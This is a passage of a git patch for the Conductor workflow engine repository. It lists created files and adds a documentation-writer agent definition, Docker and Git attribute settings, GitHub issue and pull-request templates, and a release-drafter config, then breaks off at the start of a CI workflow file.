ui-next/src/types/CloudTemplateType.ts create mode 100644 ui-next/src/types/Crumbs.ts create mode 100644 ui-next/src/types/EnvVariables.ts create mode 100644 ui-next/src/types/Environment.ts create mode 100644 ui-next/src/types/Events.ts create mode 100644 ui-next/src/types/Execution.ts create mode 100644 ui-next/src/types/FormFieldTypes.ts create mode 100644 ui-next/src/types/HumanTaskTypes.ts create mode 100644 ui-next/src/types/Integrations.ts create mode 100644 ui-next/src/types/Messages.ts create mode 100644 ui-next/src/types/MetricsTypes.ts create mode 100644 ui-next/src/types/Prompts.ts create mode 100644 ui-next/src/types/RemoteServiceTypes.ts create mode 100644 ui-next/src/types/Schedulers.ts create mode 100644 ui-next/src/types/SchemaDefinition.ts create mode 100644 ui-next/src/types/Schemas.ts create mode 100644 ui-next/src/types/SchemasAjv.ts create mode 100644 ui-next/src/types/Secret.ts create mode 100644 ui-next/src/types/ServiceDefinition.ts create mode 100644 ui-next/src/types/Tag.ts create mode 100644 ui-next/src/types/TaskDefinition.ts create mode 100644 ui-next/src/types/TaskExecution.ts create mode 100644 ui-next/src/types/TaskLog.ts create mode 100644 ui-next/src/types/TaskStatus.ts create mode 100644 ui-next/src/types/TaskType.ts create mode 100644 ui-next/src/types/TestTaskTypes.ts create mode 100644 ui-next/src/types/TimeoutPolicy.ts create mode 100644 ui-next/src/types/UpdateTaskStatus.ts create mode 100644 ui-next/src/types/User.ts create mode 100644 ui-next/src/types/WebhookDefinition.ts create mode 100644 ui-next/src/types/WorkflowDef.ts create mode 100644 ui-next/src/types/WorkflowExecution.ts create mode 100644 ui-next/src/types/common.ts create mode 100644 ui-next/src/types/helperTypes.ts create mode 100644 ui-next/src/types/index.ts create mode 100644 ui-next/src/types/svg.d.ts create mode 100644 ui-next/src/useArrowNavigation.tsx create mode 100644 ui-next/src/utils/__tests__/checkPathFlag.test.ts create mode 100644 ui-next/src/utils/__tests__/date.test.ts create mode 100644 ui-next/src/utils/__tests__/json.test.ts create mode 100644 ui-next/src/utils/__tests__/object.test.ts create mode 100644 ui-next/src/utils/__tests__/string.test.ts create mode 100644 ui-next/src/utils/__tests__/toMaybeQueryString.test.ts create mode 100644 ui-next/src/utils/__tests__/typeHelpers.test.ts create mode 100644 ui-next/src/utils/__tests__/utils.test.ts create mode 100644 ui-next/src/utils/__tests__/workflow.test.ts create mode 100644 ui-next/src/utils/accessControl.ts create mode 100644 ui-next/src/utils/agentTaskCategory.ts create mode 100644 ui-next/src/utils/array.ts create mode 100644 ui-next/src/utils/checkPathFlag.ts create mode 100644 ui-next/src/utils/cloudTemplates.ts create mode 100644 ui-next/src/utils/constants.ts create mode 100644 ui-next/src/utils/constants/api.ts create mode 100644 ui-next/src/utils/constants/common.ts create mode 100644 ui-next/src/utils/constants/dateTimePicker.ts create mode 100644 ui-next/src/utils/constants/docLink.ts create mode 100644 ui-next/src/utils/constants/emailContentTypeSuggestions.ts create mode 100644 ui-next/src/utils/constants/event.ts create mode 100644 ui-next/src/utils/constants/httpStatusCode.ts create mode 100644 ui-next/src/utils/constants/httpSuggestions.ts create mode 100644 ui-next/src/utils/constants/index.ts create mode 100644 ui-next/src/utils/constants/jsonSchema.ts create mode 100644 ui-next/src/utils/constants/regex.ts create mode 100644 ui-next/src/utils/constants/route.ts create mode 100644 ui-next/src/utils/constants/switch.ts create mode 100644 ui-next/src/utils/constants/task.ts create mode 100644 ui-next/src/utils/constants/webhook.ts create mode 100644 ui-next/src/utils/constants/workflow.ts create mode 100644 ui-next/src/utils/constants/workflowScheduleExecution.ts create mode 100644 ui-next/src/utils/cronHelpers.ts create mode 100644 ui-next/src/utils/date.ts create mode 100644 ui-next/src/utils/deprecatedRadioFilter.ts create mode 100644 ui-next/src/utils/fieldHelpers.tsx create mode 100644 ui-next/src/utils/flags.ts create mode 100644 ui-next/src/utils/gtag.ts create mode 100644 ui-next/src/utils/handleValidChars.ts create mode 100644 ui-next/src/utils/helpers.ts create mode 100644 ui-next/src/utils/hooks/index.ts create mode 100644 ui-next/src/utils/hooks/useAutoCompleteInputValidation.ts create mode 100644 ui-next/src/utils/hooks/useConductorProjectBuilder.ts create mode 100644 ui-next/src/utils/hooks/useCustomPagination.ts create mode 100644 ui-next/src/utils/hooks/useEditorForm.ts create mode 100644 ui-next/src/utils/hooks/useEntityAvailableVersions.ts create mode 100644 ui-next/src/utils/hooks/useEventNameSuggestions.ts create mode 100644 ui-next/src/utils/hooks/useGetEntities.ts create mode 100644 ui-next/src/utils/hooks/useGetEnvironmentVariables.ts create mode 100644 ui-next/src/utils/hooks/useGetIntegrations.ts create mode 100644 ui-next/src/utils/hooks/useGetSchedulerDefinitions.ts create mode 100644 ui-next/src/utils/hooks/useGetSchemas.ts create mode 100644 ui-next/src/utils/hooks/useGetSecrets.ts create mode 100644 ui-next/src/utils/hooks/useMCPIntegrations.ts create mode 100644 ui-next/src/utils/hooks/usePushHistory.ts create mode 100644 ui-next/src/utils/hooks/useReplaceHistory.ts create mode 100644 ui-next/src/utils/hooks/useToastMessage.ts create mode 100644 ui-next/src/utils/hooks/useWorkflowNamesAndVersionsQuery.ts create mode 100644 ui-next/src/utils/hooks/useXStateEventListener.ts create mode 100644 ui-next/src/utils/httpStatus.ts create mode 100644 ui-next/src/utils/human.ts create mode 100644 ui-next/src/utils/index.ts create mode 100644 ui-next/src/utils/json.ts create mode 100644 ui-next/src/utils/jsonSchema.ts create mode 100644 ui-next/src/utils/localstorage.ts create mode 100644 ui-next/src/utils/logger.ts create mode 100644 ui-next/src/utils/logrocket.ts create mode 100644 ui-next/src/utils/maybeTriggerWorkflow.ts create mode 100644 ui-next/src/utils/monacoUtils/CodeEditorUtils.ts create mode 100644 ui-next/src/utils/monacoUtils/promql.ts create mode 100644 ui-next/src/utils/monitoring.ts create mode 100644 ui-next/src/utils/object.ts create mode 100644 ui-next/src/utils/pipe.ts create mode 100644 ui-next/src/utils/query.ts create mode 100644 ui-next/src/utils/reactHookForm.ts create mode 100644 ui-next/src/utils/regex.ts create mode 100644 ui-next/src/utils/releaseVersion.ts create mode 100644 ui-next/src/utils/remoteServices.ts create mode 100644 ui-next/src/utils/roles.ts create mode 100644 ui-next/src/utils/strings.ts create mode 100644 ui-next/src/utils/task.ts create mode 100644 ui-next/src/utils/themeVariables.ts create mode 100644 ui-next/src/utils/toMaybeQueryString.ts create mode 100644 ui-next/src/utils/tracker.tsx create mode 100644 ui-next/src/utils/useGetGroups.ts create mode 100644 ui-next/src/utils/useGetUsers.ts create mode 100644 ui-next/src/utils/useIntegrationProviders.ts create mode 100644 ui-next/src/utils/useInterval.ts create mode 100644 ui-next/src/utils/useLazyWorkflowNameAutoComplete.ts create mode 100644 ui-next/src/utils/utils.ts create mode 100644 ui-next/src/utils/workflow.ts create mode 100644 ui-next/tsconfig.json create mode 100644 ui-next/vite-plugin-csp-nonce.ts create mode 100644 ui-next/vite.config.ts create mode 100644 ui-next/vite.lib-peer-external.ts create mode 100644 ui/.env create mode 100644 ui/.eslintrc create mode 100644 ui/.gitignore create mode 100644 ui/.prettierignore create mode 100644 ui/.prettierrc.json create mode 100644 ui/README.md create mode 100644 ui/e2e/fixtures/doWhile/doWhileSwitch.json create mode 100644 ui/e2e/fixtures/dynamicFork.json create mode 100644 ui/e2e/fixtures/dynamicFork/externalizedInput.json create mode 100644 ui/e2e/fixtures/dynamicFork/noneSpawned.json create mode 100644 ui/e2e/fixtures/dynamicFork/notExecuted.json create mode 100644 ui/e2e/fixtures/dynamicFork/oneFailed.json create mode 100644 ui/e2e/fixtures/dynamicFork/success.json create mode 100644 ui/e2e/fixtures/eventHandlers.json create mode 100644 ui/e2e/fixtures/metadataTasks.json create mode 100644 ui/e2e/fixtures/metadataWorkflow.json create mode 100644 ui/e2e/fixtures/metadataWorkflowNames.json create mode 100644 ui/e2e/fixtures/metadataWorkflowNamesAndVersions.json create mode 100644 ui/e2e/fixtures/metadataWorkflowVersions.json create mode 100644 ui/e2e/fixtures/schedulerDefs.json create mode 100644 ui/e2e/fixtures/schedulerExecutions.json create mode 100644 ui/e2e/fixtures/taskPollData.json create mode 100644 ui/e2e/fixtures/taskSearch.json create mode 100644 ui/e2e/fixtures/workflowSearch.json create mode 100644 ui/e2e/helpers/mockApi.ts create mode 100644 ui/e2e/pages.spec.ts create mode 100644 ui/e2e/spec.spec.ts create mode 100644 ui/e2e/workflow-def.spec.ts create mode 100644 ui/package-lock.json create mode 100644 ui/package.json create mode 100644 ui/playwright-ct.config.ts create mode 100644 ui/playwright.config.ts create mode 100644 ui/playwright/index.html create mode 100644 ui/playwright/index.tsx create mode 100644 ui/public/diagramDotBg.svg create mode 100644 ui/public/favicon.svg create mode 100644 ui/public/index.html create mode 100644 ui/public/logo.svg create mode 100644 ui/public/robots.txt create mode 100644 ui/src/App.jsx create mode 100644 ui/src/components/Banner.jsx create mode 100644 ui/src/components/Button.jsx create mode 100644 ui/src/components/ButtonGroup.jsx create mode 100644 ui/src/components/ConfirmChoiceDialog.jsx create mode 100644 ui/src/components/CustomButtons.jsx create mode 100644 ui/src/components/DataTable.jsx create mode 100644 ui/src/components/DateRangePicker.jsx create mode 100644 ui/src/components/Dropdown.jsx create mode 100644 ui/src/components/DropdownButton.jsx create mode 100644 ui/src/components/Heading.jsx create mode 100644 ui/src/components/Input.jsx create mode 100644 ui/src/components/KeyValueTable.jsx create mode 100644 ui/src/components/LinearProgress.jsx create mode 100644 ui/src/components/NavLink.jsx create mode 100644 ui/src/components/Paper.jsx create mode 100644 ui/src/components/Pill.jsx create mode 100644 ui/src/components/PrimaryButton.jsx create mode 100644 ui/src/components/ReactJson.jsx create mode 100644 ui/src/components/ScheduleNameInput.jsx create mode 100644 ui/src/components/SchedulerDisabledBanner.jsx create mode 100644 ui/src/components/SecondaryButton.jsx create mode 100644 ui/src/components/Select.jsx create mode 100644 ui/src/components/SplitButton.jsx create mode 100644 ui/src/components/StatusBadge.jsx create mode 100644 ui/src/components/Tabs.jsx create mode 100644 ui/src/components/TaskLink.jsx create mode 100644 ui/src/components/TaskNameInput.jsx create mode 100644 ui/src/components/TertiaryButton.jsx create mode 100644 ui/src/components/Text.jsx create mode 100644 ui/src/components/WorkflowNameInput.jsx create mode 100644 ui/src/components/definitionList/DefinitionList.jsx create mode 100644 ui/src/components/diagram/PanAndZoomWrapper.jsx create mode 100644 ui/src/components/diagram/TaskPointer.d.ts create mode 100644 ui/src/components/diagram/TaskResult.d.ts create mode 100644 ui/src/components/diagram/WorkflowDAG.js create mode 100644 ui/src/components/diagram/WorkflowGraph.jsx create mode 100644 ui/src/components/diagram/WorkflowGraph.test.pw.tsx create mode 100644 ui/src/components/diagram/ZoomControlButton.jsx create mode 100644 ui/src/components/diagram/ZoomControls.jsx create mode 100644 ui/src/components/diagram/diagram.scss create mode 100644 ui/src/components/formik/FormikCronEditor.jsx create mode 100644 ui/src/components/formik/FormikDropdown.jsx create mode 100644 ui/src/components/formik/FormikInput.jsx create mode 100644 ui/src/components/formik/FormikJsonInput.jsx create mode 100644 ui/src/components/formik/FormikStatusDropdown.jsx create mode 100644 ui/src/components/formik/FormikSwitch.jsx create mode 100644 ui/src/components/formik/FormikVersionDropdown.jsx create mode 100644 ui/src/components/formik/FormikWorkflowNameInput.jsx create mode 100644 ui/src/components/formik/cron.css create mode 100644 ui/src/components/icons/FitToFrame.jsx create mode 100644 ui/src/components/icons/Home.jsx create mode 100644 ui/src/components/icons/Minus.jsx create mode 100644 ui/src/components/icons/Plus.jsx create mode 100644 ui/src/components/index.js create mode 100644 ui/src/data/actions.js create mode 100644 ui/src/data/bulkactions.js create mode 100644 ui/src/data/common.js create mode 100644 ui/src/data/eventHandler.js create mode 100644 ui/src/data/misc.js create mode 100644 ui/src/data/scheduler.js create mode 100644 ui/src/data/task.js create mode 100644 ui/src/data/workflow.js create mode 100644 ui/src/hooks/useTime.js create mode 100644 ui/src/index.css create mode 100644 ui/src/index.js create mode 100644 ui/src/pages/definition/EventHandlerDefinition.jsx create mode 100644 ui/src/pages/definition/ResetConfirmationDialog.jsx create mode 100644 ui/src/pages/definition/SaveEventHandlerDialog.jsx create mode 100644 ui/src/pages/definition/SaveSchedulerDialog.jsx create mode 100644 ui/src/pages/definition/SaveTaskDialog.jsx create mode 100644 ui/src/pages/definition/SaveWorkflowDialog.jsx create mode 100644 ui/src/pages/definition/SchedulerDefinition.jsx create mode 100644 ui/src/pages/definition/TaskDefinition.jsx create mode 100644 ui/src/pages/definition/WorkflowDefinition.jsx create mode 100644 ui/src/pages/definitions/EventHandler.jsx create mode 100644 ui/src/pages/definitions/Header.jsx create mode 100644 ui/src/pages/definitions/Scheduler.jsx create mode 100644 ui/src/pages/definitions/Task.jsx create mode 100644 ui/src/pages/definitions/Workflow.jsx create mode 100644 ui/src/pages/errors/ErrorsInspector.jsx create mode 100644 ui/src/pages/errors/components/FailureReasonChart.jsx create mode 100644 ui/src/pages/errors/components/LiveTailButton.jsx create mode 100644 ui/src/pages/errors/components/Notification.jsx create mode 100644 ui/src/pages/errors/components/StatusChart.jsx create mode 100644 ui/src/pages/errors/components/SummaryCard.jsx create mode 100644 ui/src/pages/errors/components/TimeRangeDropdown.jsx create mode 100644 ui/src/pages/errors/components/TimeSeriesChart.jsx create mode 100644 ui/src/pages/errors/components/WorkflowTypeChart.jsx create mode 100644 ui/src/pages/errors/errorsInspectorStyles.js create mode 100644 ui/src/pages/errors/hooks/useWorkflowErrorGroups.js create mode 100644 ui/src/pages/execution/ActionModule.jsx create mode 100644 ui/src/pages/execution/Execution.jsx create mode 100644 ui/src/pages/execution/ExecutionInputOutput.jsx create mode 100644 ui/src/pages/execution/ExecutionJson.jsx create mode 100644 ui/src/pages/execution/ExecutionSummary.jsx create mode 100644 ui/src/pages/execution/Legend.jsx create mode 100644 ui/src/pages/execution/RightPanel.jsx create mode 100644 ui/src/pages/execution/TaskDetails.jsx create mode 100644 ui/src/pages/execution/TaskHuman.jsx create mode 100644 ui/src/pages/execution/TaskHumanForm.jsx create mode 100644 ui/src/pages/execution/TaskList.jsx create mode 100644 ui/src/pages/execution/TaskLogs.jsx create mode 100644 ui/src/pages/execution/TaskPollData.jsx create mode 100644 ui/src/pages/execution/TaskSummary.jsx create mode 100644 ui/src/pages/execution/Timeline.jsx create mode 100644 ui/src/pages/execution/Timeline.test.pw.tsx create mode 100644 ui/src/pages/execution/timeline.scss create mode 100644 ui/src/pages/executions/BulkActionModule.jsx create mode 100644 ui/src/pages/executions/ResultsTable.jsx create mode 100644 ui/src/pages/executions/SchedulerExecutions.jsx create mode 100644 ui/src/pages/executions/SearchTabs.jsx create mode 100644 ui/src/pages/executions/TaskResultsTable.jsx create mode 100644 ui/src/pages/executions/TaskSearch.jsx create mode 100644 ui/src/pages/executions/WorkflowSearch.jsx create mode 100644 ui/src/pages/executions/executionsStyles.js create mode 100644 ui/src/pages/kitchensink/DataTableDemo.jsx create mode 100644 ui/src/pages/kitchensink/DiagramTest.jsx create mode 100644 ui/src/pages/kitchensink/Dropdown.jsx create mode 100644 ui/src/pages/kitchensink/EnhancedTable.jsx create mode 100644 ui/src/pages/kitchensink/Examples.jsx create mode 100644 ui/src/pages/kitchensink/Gantt.jsx create mode 100644 ui/src/pages/kitchensink/KitchenSink.jsx create mode 100644 ui/src/pages/kitchensink/sampleMovieData.js create mode 100644 ui/src/pages/misc/TaskQueue.jsx create mode 100644 ui/src/pages/styles.js create mode 100644 ui/src/pages/workbench/ExecutionHistory.jsx create mode 100644 ui/src/pages/workbench/RunHistory.tsx create mode 100644 ui/src/pages/workbench/Workbench.jsx create mode 100644 ui/src/pages/workbench/WorkbenchForm.jsx create mode 100644 ui/src/plugins/AppBarModules.jsx create mode 100644 ui/src/plugins/AppLogo.jsx create mode 100644 ui/src/plugins/CustomAppBarButtons.jsx create mode 100644 ui/src/plugins/CustomRoutes.jsx create mode 100644 ui/src/plugins/constants.js create mode 100644 ui/src/plugins/customTypeRenderers.jsx create mode 100644 ui/src/plugins/env.js create mode 100644 ui/src/plugins/fetch.js create mode 100644 ui/src/react-app-env.d.ts create mode 100644 ui/src/schema/eventHandler.js create mode 100644 ui/src/schema/scheduler.js create mode 100644 ui/src/schema/task.js create mode 100644 ui/src/schema/workflow.js create mode 100644 ui/src/serviceWorker.js create mode 100644 ui/src/setupProxy.js create mode 100644 ui/src/setupTests.js create mode 100644 ui/src/theme/colorOverrides.js create mode 100644 ui/src/theme/colors.js create mode 100644 ui/src/theme/index.js create mode 100644 ui/src/theme/provider.jsx create mode 100644 ui/src/theme/theme.js create mode 100644 ui/src/theme/variables.js create mode 100644 ui/src/utils/constants.js create mode 100644 ui/src/utils/helperFunctions.js create mode 100644 ui/src/utils/helpers.js create mode 100644 ui/src/utils/localstorage.ts create mode 100644 ui/src/utils/path.js create mode 100755 ui/test-karbon.sh create mode 100644 ui/tsconfig.json create mode 100644 workflow-event-listener/README.md create mode 100644 workflow-event-listener/build.gradle create mode 100644 workflow-event-listener/src/main/java/com/netflix/conductor/contribs/listener/WorkflowStatusListenerFactory.java create mode 100644 workflow-event-listener/src/main/java/com/netflix/conductor/contribs/listener/archive/ArchivingWithTTLWorkflowStatusListener.java create mode 100644 workflow-event-listener/src/main/java/com/netflix/conductor/contribs/listener/archive/ArchivingWorkflowListenerConfiguration.java create mode 100644 workflow-event-listener/src/main/java/com/netflix/conductor/contribs/listener/archive/ArchivingWorkflowListenerProperties.java create mode 100644 workflow-event-listener/src/main/java/com/netflix/conductor/contribs/listener/archive/ArchivingWorkflowStatusListener.java create mode 100644 workflow-event-listener/src/main/java/com/netflix/conductor/contribs/listener/archive/ArchivingWorkflowToS3.java create mode 100644 workflow-event-listener/src/main/java/com/netflix/conductor/contribs/listener/composite/CompositeWorkflowStatusListener.java create mode 100644 workflow-event-listener/src/main/java/com/netflix/conductor/contribs/listener/composite/CompositeWorkflowStatusListenerConfiguration.java create mode 100644 workflow-event-listener/src/main/java/com/netflix/conductor/contribs/listener/composite/CompositeWorkflowStatusListenerProperties.java create mode 100644 workflow-event-listener/src/main/java/com/netflix/conductor/contribs/listener/conductorqueue/ConductorQueueStatusPublisher.java create mode 100644 workflow-event-listener/src/main/java/com/netflix/conductor/contribs/listener/conductorqueue/ConductorQueueStatusPublisherConfiguration.java create mode 100644 workflow-event-listener/src/main/java/com/netflix/conductor/contribs/listener/conductorqueue/ConductorQueueStatusPublisherProperties.java create mode 100644 workflow-event-listener/src/main/java/com/netflix/conductor/contribs/listener/kafka/KafkaWorkflowStatusPublisher.java create mode 100644 workflow-event-listener/src/main/java/com/netflix/conductor/contribs/listener/kafka/KafkaWorkflowStatusPublisherConfiguration.java create mode 100644 workflow-event-listener/src/main/java/com/netflix/conductor/contribs/listener/kafka/KafkaWorkflowStatusPublisherProperties.java create mode 100644 workflow-event-listener/src/main/java/com/netflix/conductor/contribs/listener/statuschange/StatusChangeNotification.java create mode 100644 workflow-event-listener/src/main/java/com/netflix/conductor/contribs/listener/statuschange/StatusChangePublisher.java create mode 100644 workflow-event-listener/src/main/java/com/netflix/conductor/contribs/listener/statuschange/StatusChangePublisherConfiguration.java create mode 100644 workflow-event-listener/src/main/resources/META-INF/additional-spring-configuration-metadata.json create mode 100644 workflow-event-listener/src/test/java/com/netflix/conductor/contribs/listener/ArchivingWorkflowStatusListenerTest.java create mode 100644 workflow-event-listener/src/test/java/com/netflix/conductor/contribs/listener/composite/CompositeWorkflowStatusListenerTest.java create mode 100644 workflow-event-listener/src/test/java/com/netflix/conductor/contribs/listener/statuschange/StatusChangePublisherTest.java create mode 100644 workflow-event-listener/src/test/java/com/netflix/conductor/test/listener/WorkflowStatusPublisherIntegrationTest.java create mode 100644 workflow-event-listener/src/test/resources/application-integrationtest.properties diff --git a/.claude/agents/docs-writer.md b/.claude/agents/docs-writer.md new file mode 100644 index 0000000..c504370 --- /dev/null +++ b/.claude/agents/docs-writer.md @@ -0,0 +1,68 @@ +--- +name: docs-writer +description: Technical documentation specialist for Conductor workflow orchestration features. Creates clear, comprehensive documentation for APIs, workflows, tasks, and system architecture. +tools: Read, Grep, Glob, Write, Edit, Bash +model: inherit +--- + +You are a technical documentation specialist for Conductor, an open-source workflow orchestration engine built at Netflix. + +## Your Role + +Create clear, comprehensive, and accurate documentation for Conductor features, including: +- Workflow definitions and task types +- REST API endpoints and payloads +- System architecture and components +- Configuration options and database integrations +- SDK usage examples (Java, Python, JavaScript, Go, C#) +- Developer guides and tutorials + +## Documentation Process + +1. **Understand the Feature** + - Read relevant source code to understand implementation + - Identify key classes, methods, and APIs + - Test functionality if possible + - Review existing related documentation + +2. **Structure Documentation** + - Start with a clear overview/summary + - Include purpose and use cases + - Provide syntax and parameters + - Add practical examples + - Document edge cases and limitations + - Link to related documentation + +3. **Follow Conductor Style** + - Use clear, concise language + - Include code examples in relevant languages + - Use Markdown formatting consistently + - Add diagrams or JSON examples for workflows + - Follow existing documentation patterns in `/docs` + +4. **Quality Standards** + - Ensure technical accuracy + - Test all code examples + - Use proper terminology (workflows, tasks, workers, etc.) + - Include error handling examples + - Add troubleshooting sections when relevant + +## Key Conductor Concepts to Reference + +- **Workflows**: JSON-based orchestration definitions +- **Tasks**: Units of work (HTTP, Lambda, Sub-workflow, etc.) +- **Workers**: Services that execute tasks +- **Task Definitions**: Reusable task configurations +- **System Tasks**: Built-in task types +- **Event Handlers**: Trigger workflows from events + +## Output Format + +Provide documentation in Markdown format suitable for the `/docs` directory, with: +- Clear headings and sections +- Code blocks with proper syntax highlighting +- Tables for parameters and options +- Links to related documentation +- Version information when relevant + +Always prioritize clarity and practical usefulness for developers using Conductor. diff --git a/.dockerignore b/.dockerignore new file mode 100644 index 0000000..9a283b9 --- /dev/null +++ b/.dockerignore @@ -0,0 +1,47 @@ +# Git/VCS +.git +.gitignore +.gitattributes +.github + +# IDE/editor +.idea +.vscode +.classpath +.project +.settings +*.iml + +# OS/filesystem noise +.DS_Store + +# Caches & temp +**/.gradle +**/.cache +**/tmp +**/logs +**/*.log + +# Build outputs (keep source in docker build) +**/build +!ui/build +**/out +**/target +**/dist +!ui-next/dist +**/coverage + +# Python +venv +**/__pycache__/ +**/.pytest_cache/ + +# JS tooling +**/node_modules +**/.npm +**/.yarn +**/.pnpm-store +**/.eslintcache +**/.parcel-cache +**/.next + diff --git a/.gitattributes b/.gitattributes new file mode 100644 index 0000000..d226ef6 --- /dev/null +++ b/.gitattributes @@ -0,0 +1,11 @@ +gradlew eol=lf +*.gradle eol=lf +*.java eol=lf +*.groovy eol=lf +spring.factories eol=lf +*.sh eol=lf + +docs/* linguist-documentation +server/src/main/resources/swagger-ui/* linguist-vendored + + diff --git a/.github/ISSUE_TEMPLATE/bug_report.md b/.github/ISSUE_TEMPLATE/bug_report.md new file mode 100644 index 0000000..97c2918 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/bug_report.md @@ -0,0 +1,42 @@ +--- +name: Bug report +about: Create a report to help us improve +title: "" +labels: 'type: bug' +assignees: '' + +--- + +**Describe the bug** +A clear and concise description of what the bug is. + +**Details** +Conductor version: +Persistence implementation: Cassandra, Postgres, MySQL, Dynomite etc +Queue implementation: Postgres, MySQL, Dynoqueues etc +Lock: Redis or Zookeeper? +Workflow definition: +Task definition: +Event handler definition: + + +**To Reproduce** +Steps to reproduce the behavior: +1. Go to '...' +2. Click on '....' +3. Scroll down to '....' +4. See error + +**Code to reproduce (paste relevant snippet):** +``` +[paste the minimal code that triggers the bug] +``` + +**Expected behavior** +A clear and concise description of what you expected to happen. + +**Screenshots** +If applicable, add screenshots to help explain your problem. + +**Additional context** +Add any other context about the problem here. diff --git a/.github/ISSUE_TEMPLATE/bug_report.yml b/.github/ISSUE_TEMPLATE/bug_report.yml new file mode 100644 index 0000000..60553e4 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/bug_report.yml @@ -0,0 +1,43 @@ +name: Bug Report +description: Create a report to help us reproduce and fix the bug + +body: +- type: markdown + attributes: + value: > + #### Before submitting a bug, please make sure the issue hasn't been already addressed by searching through [the existing and past issues](https://github.com/conductor-oss/conductor/issues?q=is%3Aissue%20label%3Abug). +- type: textarea + attributes: + label: Describe the bug + description: | + Please provide a clear and concise description of what the bug is. + + If relevant, add a minimal example so that we can reproduce the error by running the code. It is very important for the snippet to be as succinct (minimal) as possible, so please take time to trim down any irrelevant code to help us debug efficiently. + Your example should be fully self-contained and not rely on any artifact that should be downloaded. + For example: + + ``` + # A succinct reproducing example trimmed down to the essential parts + # (any language is fine — Java, Python, Go, JavaScript, etc.) + ``` + + If the code is too long (hopefully, it isn't), feel free to put it in a public gist and link it in the issue: https://gist.github.com. + + Please also paste or describe the results you observe instead of the expected results. If you observe an error, please paste the error message including the **full** traceback of the exception. It may be relevant to wrap error messages in ```` ```triple quotes blocks``` ````. + + placeholder: | + A clear and concise description of what the bug is. + + ``` + # Sample code to reproduce the problem (any language) + ``` + + ``` + The error message you got, with the full traceback. + ``` + validations: + required: true +- type: markdown + attributes: + value: > + Thanks for contributing! \ No newline at end of file diff --git a/.github/ISSUE_TEMPLATE/config.yml b/.github/ISSUE_TEMPLATE/config.yml new file mode 100644 index 0000000..b9cccae --- /dev/null +++ b/.github/ISSUE_TEMPLATE/config.yml @@ -0,0 +1,5 @@ +blank_issues_enabled: true +contact_links: + - name: Questions + url: https://orkes-conductor.slack.com/join/shared_invite/zt-2vdbx239s-Eacdyqya9giNLHfrCavfaA#/shared-invite/email + about: Ask questions and discuss with other Conductor community members diff --git a/.github/ISSUE_TEMPLATE/documentation.md b/.github/ISSUE_TEMPLATE/documentation.md new file mode 100644 index 0000000..790cd31 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/documentation.md @@ -0,0 +1,12 @@ +--- +name: Documentation +about: Something in the documentation that needs improvement +title: "[DOC]: " +labels: 'type: docs' +assignees: '' + +--- + +## What are you missing in the docs + +## Proposed text diff --git a/.github/ISSUE_TEMPLATE/documentation.yaml b/.github/ISSUE_TEMPLATE/documentation.yaml new file mode 100644 index 0000000..3bc9a95 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/documentation.yaml @@ -0,0 +1,24 @@ +name: Documentation +description: Report an issue related to https://docs.conductor-oss.org/index.html + +body: +- type: markdown + attributes: + value: > + #### Note: Please report your documentation issue in English to ensure it can be understood and addressed by the development team. +- type: textarea + attributes: + label: The doc issue + description: > + A clear and concise description of what content on https://docs.conductor-oss.org/index.html is an issue. + validations: + required: true +- type: textarea + attributes: + label: Suggest a potential alternative/fix + description: > + Tell us how we could improve the documentation in this regard. +- type: markdown + attributes: + value: > + Thanks for contributing! \ No newline at end of file diff --git a/.github/ISSUE_TEMPLATE/feature_request.md b/.github/ISSUE_TEMPLATE/feature_request.md new file mode 100644 index 0000000..8a71d8d --- /dev/null +++ b/.github/ISSUE_TEMPLATE/feature_request.md @@ -0,0 +1,20 @@ +--- +name: Feature request +about: Propose a new feature +title: "[FEATURE]: " +labels: 'type: feature' +assignees: '' + +--- + +Please read our [contributor guide](https://github.com/conductor-oss/conductor/blob/main/CONTRIBUTING.md) before creating an issue. +Also consider discussing your idea on the [discussion forum](https://github.com/conductor-oss/conductor/discussions) first. + +## Describe the Feature Request +_A clear and concise description of what the feature request is._ + +## Describe Preferred Solution +_A clear and concise description of what you want to happen._ + +## Describe Alternatives +_A clear and concise description of any alternative solutions or features you've considered._ diff --git a/.github/ISSUE_TEMPLATE/feature_request.yaml b/.github/ISSUE_TEMPLATE/feature_request.yaml new file mode 100644 index 0000000..bc9ce57 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/feature_request.yaml @@ -0,0 +1,29 @@ +name: Feature request +description: Submit a proposal/request for a new Conductor feature + +body: +- type: markdown + attributes: + value: > + #### Note: Please write your feature request in English to ensure it can be understood and addressed by the development team. +- type: textarea + attributes: + label: The feature, motivation and pitch + description: > + A clear and concise description of the feature proposal. Please outline the motivation for the proposal. Is your feature request related to a specific problem? e.g., *"I'm working on X and would like Y to be possible"*. If this is related to another GitHub issue, please link here too. + validations: + required: true +- type: textarea + attributes: + label: Alternatives + description: > + A description of any alternative solutions or features you've considered, if any. +- type: textarea + attributes: + label: Additional context + description: > + Add any other context or screenshots about the feature request. +- type: markdown + attributes: + value: > + Thanks for contributing! \ No newline at end of file diff --git a/.github/pull_request_template.md b/.github/pull_request_template.md new file mode 100644 index 0000000..8367fbc --- /dev/null +++ b/.github/pull_request_template.md @@ -0,0 +1,21 @@ +Pull Request type +---- +- [ ] Bugfix +- [ ] Feature +- [ ] Refactoring (no functional changes, no api changes) +- [ ] Build related changes +- [ ] WHOSUSING.md +- [ ] Other (please describe): + +**NOTE**: Please remember to run `./gradlew spotlessApply` to fix any format violations. + +Changes in this PR +---- + +_Describe the new behavior from this PR, and why it's needed_ +Issue # + +Alternatives considered +---- + +_Describe alternative implementation you have considered_ diff --git a/.github/release-drafter.yml b/.github/release-drafter.yml new file mode 100644 index 0000000..aea460e --- /dev/null +++ b/.github/release-drafter.yml @@ -0,0 +1,39 @@ +template: | + ## What’s Changed + + $CHANGES + +name-template: 'v$RESOLVED_VERSION' +tag-template: 'v$RESOLVED_VERSION' + +categories: + - title: 'IMPORTANT' + label: 'type: important' + - title: 'New' + label: 'type: feature' + - title: 'Bug Fixes' + label: 'type: bug' + - title: 'Refactor' + label: 'type: maintenance' + - title: 'Documentation' + label: 'type: docs' + - title: 'Dependency Updates' + label: 'type: dependencies' + +version-resolver: + minor: + labels: + - 'type: important' + + patch: + labels: + - 'type: bug' + - 'type: maintenance' + - 'type: docs' + - 'type: dependencies' + - 'type: feature' + +exclude-labels: + - 'skip-changelog' + - 'gradle-wrapper' + - 'github_actions' diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml new file mode 100644 index 0000000..094a91c --- /dev/null +++ 